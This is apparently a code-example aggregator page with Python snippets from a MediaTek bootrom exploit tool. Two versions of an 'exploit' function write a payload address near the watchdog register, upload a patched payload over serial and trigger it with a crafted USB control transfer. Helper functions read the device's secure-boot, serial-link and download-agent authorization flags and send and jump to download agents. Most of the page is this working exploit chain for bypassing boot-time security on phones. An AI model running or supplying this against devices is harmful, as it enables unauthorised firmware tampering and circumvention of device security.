示例#1
0
def exploit(device, watchdog_address, payload_address, var_0, var_1, payload):
    addr = watchdog_address + 0x50

    device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<'))
    if var_0:
        readl = var_0 + 0x4
        device.read32(addr - var_0, readl // 4)
    else:
        cnt = 15
        for i in range(cnt):
            device.read32(addr - (cnt - i) * 4, cnt - i + 1)

    # replace watchdog_address in generic payload
    payload = bytearray(payload)
    if from_bytes(payload[-4:], 4, '<') == 0x10007000:
        payload[-4:] = to_bytes(watchdog_address, 4, '<')
    payload = bytes(payload)

    while len(payload) % 4 != 0:
        payload += to_bytes(0)

    if len(payload) >= 0xA00:
        raise RuntimeError("payload too large")

    device.echo(0xE0)

    device.echo(len(payload), 4)

    # clear 2 bytes
    device.read(2)

    device.write(payload)

    # clear 4 bytes
    device.read(4)

    udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3)

    try:
        # noinspection PyProtectedMember
        udev._ctx.managed_claim_interface = lambda *args, **kwargs: None
    except AttributeError as e:
        raise RuntimeError("libusb is not installed for port {}".format(
            device.dev.port)) from e

    try:
        udev.ctrl_transfer(0xA1, 0, 0, var_1, 0)
    except usb.core.USBError as e:
        print(e)

    # We don't need to wait long, if we succeeded
    device.dev.timeout = 1
    try:
        pattern = device.read(4)
    except SerialException as e:
        print(e)
        return False

    return pattern
示例#2
0
    def get_hw_code(self):
        self.echo(0xFD)

        hw_code = self.dev.read(2)
        status = self.dev.read(2)

        if from_bytes(status, 2) != 0:
            raise RuntimeError("status is {}".format(status))

        return from_bytes(hw_code, 2)
示例#3
0
    def get_hw_dict(self):
        self.echo(0xFC)

        hw_sub_code = self.dev.read(2)
        hw_ver = self.dev.read(2)
        sw_ver = self.dev.read(2)
        status = self.dev.read(2)

        if from_bytes(status, 2) != 0:
            raise RuntimeError("status is {}".format(status.hex()))

        return from_bytes(hw_sub_code, 2), from_bytes(hw_ver, 2), from_bytes(sw_ver, 2)
示例#4
0
def exploit(device, watchdog_address, payload_address, var_0, var_1, payload):
    addr = watchdog_address + 0x50

    device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<'))
    if var_0:
        readl = var_0 + 0x4
        device.read32(addr - var_0, readl // 4)
    else:
        cnt = 15
        for i in range(cnt):
            device.read32(addr - (cnt - i) * 4, cnt - i + 1)

    device.echo(0xE0)

    device.echo(len(payload), 4)

    status = device.read(2)
    if from_bytes(status, 2) != 0:
        raise RuntimeError("status is {}".format(status.hex()))

    device.write(payload)

    # clear 4 bytes
    device.read(4)

    udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3)

    try:
        # noinspection PyProtectedMember
        udev._ctx.managed_claim_interface = lambda *args, **kwargs: None
    except AttributeError as e:
        raise RuntimeError("libusb is not installed for port {}".format(
            device.dev.port)) from e

    try:
        udev.ctrl_transfer(0xA1, 0, 0, var_1, 0)
    except usb.core.USBError as e:
        print(e)

    # We don't need to wait long, if we succeeded
    # noinspection PyBroadException
    try:
        device.dev.timeout = 1
    except Exception:
        pass

    try:
        pattern = device.read(4)
    except SerialException as e:
        print(e)
        return False

    return pattern
示例#5
0
def prepare_payload(config):
    with open(PAYLOAD_DIR + config.payload, "rb") as payload:
        payload = payload.read()

    # replace watchdog_address and uart_base in generic payload
    payload = bytearray(payload)
    if from_bytes(payload[-4:], 4, '<') == 0x10007000:
        payload[-4:] = to_bytes(config.watchdog_address, 4, '<')
    if from_bytes(payload[-8:][:4], 4, '<') == 0x11002000:
        payload[-8:] = to_bytes(config.uart_base, 4, '<') + payload[-4:]
    payload = bytes(payload)

    while len(payload) % 4 != 0:
        payload += to_bytes(0)

    return payload
示例#6
0
    def get_target_config(self):
        self.echo(0xD8)

        target_config = self.dev.read(4)
        status = self.dev.read(2)

        if from_bytes(status, 2) != 0:
            raise RuntimeError("status is {}".format(status.hex()))

        target_config = from_bytes(target_config, 4)

        secure_boot = target_config & 1
        serial_link_authorization = target_config & 2
        download_agent_authorization = target_config & 4

        # noinspection PyCallByClass
        return bool(secure_boot), bool(serial_link_authorization), bool(download_agent_authorization)
示例#7
0
    def jump_da(self, da_address):
        self.echo(0xD5)

        self.echo(da_address, 4)

        status = self.dev.read(2)

        if from_bytes(status, 2) != 0:
            raise RuntimeError("status is {}".format(status.hex()))
示例#8
0
    def read32(self, addr, size=1):
        result = []

        self.echo(0xD1)
        self.echo(addr, 4)
        self.echo(size, 4)

        assert from_bytes(self.dev.read(2), 2) <= 0xff

        for _ in range(size):
            data = from_bytes(self.dev.read(4), 4)
            result.append(data)

        assert from_bytes(self.dev.read(2), 2) <= 0xff

        # support scalar
        if len(result) == 1:
            return result[0]
        else:
            return result
示例#9
0
    def send_da(self, da_address, da_len, sig_len, da):
        self.echo(0xD7)

        self.echo(da_address, 4)
        self.echo(da_len, 4)
        self.echo(sig_len, 4)

        status = self.dev.read(2)

        if from_bytes(status, 2) != 0:
            raise RuntimeError("status is {}".format(status.hex()))

        self.dev.write(da)

        checksum = self.dev.read(2)
        status = self.dev.read(2)

        if from_bytes(status, 2) != 0:
            raise RuntimeError("status is {}".format(status.hex()))

        return from_bytes(checksum, 2)
示例#10
0
    def read32(self, addr, size=1):
        result = []

        self.echo(0xD1)
        self.echo(addr, 4)
        self.echo(size, 4)

        self.check(self.dev.read(2), to_bytes(0, 2))  # arg check

        for _ in range(size):
            data = from_bytes(self.dev.read(4), 4)
            result.append(data)

        self.check(self.dev.read(2), to_bytes(0, 2))  # status

        # support scalar
        if len(result) == 1:
            return result[0]
        else:
            return result
示例#11
0
 def echo(self, words, size=1):
     self.write(words, size)
     self.check(from_bytes(self.read(size), size), words)